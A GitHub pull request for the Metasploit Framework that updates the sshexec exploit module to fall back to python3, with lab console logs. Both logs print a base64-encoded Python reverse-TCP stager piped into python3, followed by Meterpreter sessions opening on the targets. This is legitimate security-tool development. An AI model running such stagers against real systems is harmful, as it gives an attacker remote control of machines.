Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fallback to Python3 in sshexec when it's available #15358

Merged
merged 1 commit into from
Jun 22, 2021

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Jun 21, 2021

This updates the exploit/multi/ssh/sshexec module to automatically detect cases where python is unavailable while python3 or even python2 are. This notably fixes the Python target for distributions that are missing the default python binary but have one of the others, which is the case for Ubuntu 18.04.

When the SSH connection is open and established, it is not a full blown session in Metasploit terms. This means that the CommandShell#binary_exists method is not directly callable. This is unfortunate because this method has been improved recently to do things like use which or command depending on which is available. To retain this functionality instead of duplicating it in the module, this PR adds a #binary_exists class method that takes a callback block which executes an operating system command and returns the result as a string. This means that other places in the framework can get binary_exists functionality without necessarily having a fully established session.

Also the invocation technique used by Python now leverages echo and a pipe to get the argument (which is the payload) out of the output of things like ps. This does mean that it won't work on Windows, if SSH was hypothetically installed. This is also the reason the platform to the new #binary_exists method is hard coded to :unix.

I looked for instances of this problem elsewhere in the framework and there did not seem to be any obvious cases. The post/multi/manage/shell_to_meterpreter checks if python is available before selecting that as a target and the other references I noticed were within exploit modules which have presumably been tested on their applicable targets.

Verification

Download and install and Ubuntu 18.04 server instance. Notice that python is not installed by default, but ensure that python3 is and is in the PATH.

  • Start msfconsole
  • use exploit/ssh/sshexec
  • Set the rhost, username and password options
  • Set the target to "Python" and configure the payload
  • Run the exploit and get a session
    • Without this patch, the exploit module would hang and no session would be established if the python binary was not available in the PATH

Example Output

msf6 exploit(multi/ssh/sshexec) > show options 

Module options (exploit/multi/ssh/sshexec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  Password1        yes       The password to authenticate with.
   RHOSTS    192.168.159.115  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     22               yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)
   USERNAME  smcintyre        yes       The user to authenticate as.


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   10  Python


msf6 exploit(multi/ssh/sshexec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.31:22 - Sending stager...
[*] Executing command -v command
[*] Executing command -v 'python' && echo true
[*] Executing command -v command
[*] Executing command -v 'python3' && echo true
[*] Executing echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTU5LjEyOCcsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))" | /usr/bin/python3
[*] Sending stage (39392 bytes) to 192.168.159.31
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:33490) at 2021-06-21 13:59:49 -0400

[!] Timed out while waiting for command to return

meterpreter > 
meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 4.15.0-144-generic #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > 

Notice the Executing command... lines in the output as it's identifying which version of Python is available before automatically selecting python3.

@space-r7
Copy link
Contributor

This looks good to me. Here's testing before and after the change:

Before change
msf6 exploit(multi/ssh/sshexec) > set target 10
target => 10
msf6 exploit(multi/ssh/sshexec) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] 192.168.37.135:22 - Sending stager...
[*] Exploit completed, but no session was created.
After change
msf6 exploit(multi/ssh/sshexec) > set verbose true
verbose => true
msf6 exploit(multi/ssh/sshexec) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] 192.168.37.135:22 - Sending stager...
[*] Executing command -v command
[*] Executing command -v 'python' && echo true
[*] Executing command -v command
[*] Executing command -v 'python3' && echo true
[*] Executing echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMzcuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))" | /usr/bin/python3
[*] Sending stage (39392 bytes) to 192.168.37.135
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.135:49142) at 2021-06-22 14:31:37 -0500
[!] Timed out while waiting for command to return

meterpreter > getuid
Server username: space
meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter >

@space-r7
Copy link
Contributor

@msjenkins-r7 test this please.

@space-r7 space-r7 merged commit c3d4bb4 into rapid7:master Jun 22, 2021
@space-r7 space-r7 added the rn-enhancement release notes enhancement label Jun 22, 2021
@space-r7
Copy link
Contributor

Release Notes

This updates the exploit/multi/ssh/sshexec module to now account for cases where the target system does not have the python binary. Using the new binary_exists() class method in lib/msf/base/sessions/command_shell.rb, the module now checks for and uses the valid Python binary found on the target system despite not having a fully-established session.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants